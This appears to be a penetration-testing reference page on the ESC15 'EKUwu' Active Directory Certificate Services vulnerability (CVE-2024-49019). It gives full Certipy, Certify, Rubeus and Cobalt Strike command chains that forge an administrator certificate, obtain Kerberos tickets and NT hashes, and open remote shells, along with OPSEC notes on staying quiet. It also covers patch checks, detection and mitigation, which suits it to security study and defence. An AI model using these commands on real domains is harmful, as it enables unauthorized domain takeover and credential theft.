AD ^: Active Directory

ESC15 — EKUwu (CVE-2024-49019)

ESC15, nicknamed EKUwu, was discovered by Justin Bollinger at TrustedSec in late September 2024 and assigned CVE-2024-49019 by Microsoft on November 12…

advanced updated 2026-08-10 NetExec · Rubeus · Certipy · Evil-WinRM

ESC15 — EKUwu (CVE-2024-49019)

Quick Reference

FieldValue
CategorySoftware Vulnerability (not misconfiguration)
DifficultyLow–Medium
Pre-requisitesEnrollment in schema v1 template + unpatched CA
CVECVE-2024-49019
PatchedNovember 2024 — KB5044281
ToolsCertipy, Certify (TrustedSec fork), Cobalt Strike BOFs
OPSEC NoiseLow — looks like normal enrollment
One-linerInject arbitrary Application Policy OIDs (like Client Authentication) into a CSR against schema version 1 templates — the CA honours them even if the template never specified those policies.

What Is ESC15?

ESC15, nicknamed EKUwu, was discovered by Justin Bollinger at TrustedSec in late September 2024 and assigned CVE-2024-49019 by Microsoft on November 12, 2024. It is fundamentally different from every other ESC attack — it is not a misconfiguration. It is a software vulnerability in Microsoft’s implementation of Application Policies in schema version 1 certificate templates.

Every other ESC attack requires an admin to have configured something incorrectly. ESC15 exploits a bug in how the CA processes Certificate Signing Requests (CSRs) against schema version 1 templates — templates that Microsoft itself ships as defaults. The bug allows an attacker to inject arbitrary Application Policy OIDs into their CSR that the CA will honour and embed in the issued certificate, even if the template itself never specified those policies.

In practical terms: you enroll in a harmless default template, inject Client Authentication OID into your CSR, and the CA issues a certificate that can authenticate you as any domain user — including Domain Admin.


Why Schema Version 1 Is Special

The entire vulnerability hinges on a behavioural difference between schema versions:

Schema VersionApplication Policy Behaviour
Version 1CA accepts Application Policies supplied in the CSR — attacker controlled
Version 2+CA ignores CSR-supplied Application Policies — uses only what’s defined in the template

Version 1 templates are legacy — predating the modern PKI hardening model. They exist because early Active Directory needed them and Microsoft has never forcibly migrated environments away from them. The attack specifically targets the szOID_APPLICATION_CERT_POLICIES (1.3.6.1.4.1.311.21.10) attribute handling in v1 template processing.


Default Vulnerable Templates

Because ESC15 targets schema version 1 templates, it can affect default Microsoft-provided templates — no admin misconfiguration required:

TemplateDefault Enrollment RightsSchema VersionRisk
UserDomain Users1⚠️ High — every domain user
MachineDomain Computers1⚠️ High — every machine
DomainControllerDomain Controllers1DCs only
WebServerAdministrators1Often over-permissioned
SubCAAdministrators1Admin-only normally
CAAdministrators1Admin-only

💡 The User and Machine templates being schema version 1 AND enrollable by all domain users/computers is what makes ESC15 so impactful — no template customisation needed at all.


Required Conditions

ConditionNotes
Template uses Schema Version 1Schema Version: 1 in certipy output
Template has Enrollee Supplies Subject enabledCT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
Low-priv users can enrollStandard enrollment rights check
Unpatched (pre-November 2024 KB5044281)Check patch status

Step 0 — Enumeration

# Standard scan
certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \
  -dc-ip $TARGET -vulnerable -stdout

# Certipy flags ESC15 when it detects Schema Version 1 + Enrollee Supplies Subject

# Manually check patch status
netexec smb $TARGET -u 'lowpriv' -p 'Password123!' \
  -x 'wmic qfe list brief | findstr KB5044281'
# If no output = unpatched = ESC15 works

What Vulnerable ESC15 Output Looks Like

Certificate Templates
  Template Name                       : User
  Schema Version                      : 1           ← KEY: Schema V1
  Enabled                             : True
  Client Authentication               : False       ← Not required — you'll inject it
  Enrollee Supplies Subject           : True
  Requires Manager Approval           : False
  Authorized Signatures Required      : 0
  Permissions
    Enrollment Rights : DOMAIN\Domain Users

[!] Vulnerabilities
  ESC15 : Template schema version is 1 and the template allows the
          enrollee to supply the subject and an application policy

Full Attack Chain — Linux (Certipy)

Certipy’s ESC15 support was added after TrustedSec’s disclosure. The key flag is -application-policies which injects the arbitrary OID into the CSR.

Step 1 — Request Cert with Injected Application Policy + Spoofed Subject

# Inject Client Authentication OID + specify Administrator as subject
certipy-ad req \
  -u 'lowpriv@domain.htb' \
  -p 'Password123!' \
  -dc-ip $TARGET \
  -ca 'DOMAIN-CA-NAME' \
  -template 'User' \
  -upn 'administrator@domain.htb' \
  -application-policies 'Client Authentication'

# Output: administrator.pfx

What Certipy does under the hood:

  • Builds a CSR for the User template (schema v1)
  • Injects Client Authentication OID (1.3.6.1.5.5.7.3.2) into szOID_APPLICATION_CERT_POLICIES extension of the CSR
  • Sets SubjectAltName: UPN = administrator@domain.htb
  • CA honours both — issues cert with Client Auth capability AND Administrator UPN

Expected output:

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 14
[*] Got certificate with UPN 'administrator@domain.htb'
[*] Certificate object SID is 'S-1-5-21-...-500'
[*] Saving certificate and private key to 'administrator.pfx'

Step 2 — Authenticate

certipy-ad auth \
  -pfx administrator.pfx \
  -username administrator \
  -domain domain.htb \
  -dc-ip $TARGET

# Output: administrator.ccache + NT hash

Step 3 — Shell

export KRB5CCNAME=administrator.ccache
wmiexec.py -k -no-pass DC01.domain.htb
evil-winrm -i $TARGET -u administrator -H <NTHASH>

Extended Use Cases — Beyond Client Auth

TrustedSec’s research showed ESC15 is more dangerous than ESC2 in some respects because you can inject any Application Policy OID:

# Code signing certificate — forge software signatures
certipy-ad req ... -application-policies 'Code Signing'

# Smart Card Logon — bypass smart card enforcement
certipy-ad req ... -application-policies 'Smart Card Logon'

# Enrollment Agent — bridges into ESC3 territory
certipy-ad req ... -application-policies 'Certificate Request Agent'

# Any Purpose — like ESC2
certipy-ad req ... -application-policies 'Any Purpose'

Each of these opens a completely different post-exploitation path from the same single vulnerability.


Windows Attack Chain (TrustedSec Tools)

# ESC15 from Windows requires crafting a custom CSR with injected Application Policy

# Option A: TrustedSec BOFs (Cobalt Strike)
adcs_request /template:User /upn:administrator /appolicies:"1.3.6.1.5.5.7.3.2"

# Option B: Updated Certify fork from TrustedSec
.\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:User `
  /altname:administrator /applicationpolicies:"Client Authentication"

# Convert and authenticate
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap

ESC15 vs ESC1 and ESC2

ESC1ESC2ESC15
Root causeTemplate misconfigurationTemplate misconfigurationSoftware bug in schema v1
Admin misconfiguration required?No — default templates vulnerable
Injects EKU viaTemplate has it pre-setTemplate has Any PurposeCSR at request time
CVE assignedNoNoCVE-2024-49019
PatchedNo patch (misconfiguration fix)No patchNovember 2024 KB5044281
Can inject arbitrary EKUs?
Schema version requiredAnyAnyVersion 1 only
Discovered bySpecterOpsSpecterOpsTrustedSec (Justin Bollinger)

Post-Patch Verification

# Check if KB5044281 is installed
Get-HotFix -Id KB5044281

# If installed, ESC15 is patched — schema v1 templates will no longer
# accept CSR-supplied Application Policies

# Permanent fix — upgrade templates to schema v2+
# In CA MMC: Template Properties → Compatibility tab
# Change "Certification Authority" from "Windows 2000" to "Windows Server 2003" or later
# This upgrades the template to schema version 2+

Audit Schema V1 Templates

# Find all schema V1 templates in your environment
Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" `
  -Filter {msPKI-Template-Schema-Version -eq 1} -Properties * |
  Select-Object Name, 'msPKI-Template-Schema-Version'

OPSEC Considerations

ActionLog GeneratedNoise Level
Certificate requestEvent ID 4886/4887🟢 Low (looks like normal enrollment)
Patch status checkWMI query🟢 Low
Auth with injected EKUEvent ID 4768🟢 Low

💡 ESC15 is very quiet — the enrollment looks completely legitimate. The only anomaly is that the issued certificate has an Application Policy (Client Auth) that isn’t defined on the template configuration. Detecting this requires comparing issued cert policies against template-defined policies.


Detection Indicators

  • Event ID 4887 — Certificate issued with Client Authentication EKU from a template (User, Machine) that doesn’t have that EKU defined in its configuration
  • CSR inspection — Monitor for CSRs containing szOID_APPLICATION_CERT_POLICIES extensions not matching the requested template’s defined policies
  • Microsoft Defender for Identity — Has built-in ESC15 detection post-patch
  • Template-to-cert comparison — Alert when issued cert EKUs ≠ template-defined EKUs

Mitigation

  • Apply KB5044281 (November 2024 patch) — direct fix for the vulnerability
  • Migrate schema v1 templates to v2+ — removes the vulnerable code path entirely (see Post-Patch Verification section)
  • Restrict enrollment rights on User and Machine templates — removing Domain Users from enrollment rights is the single fastest interim mitigation
  • Audit schema version 1 templates using the PowerShell command above
  • Monitor for Application Policy injection — compare issued certificates against template-defined policies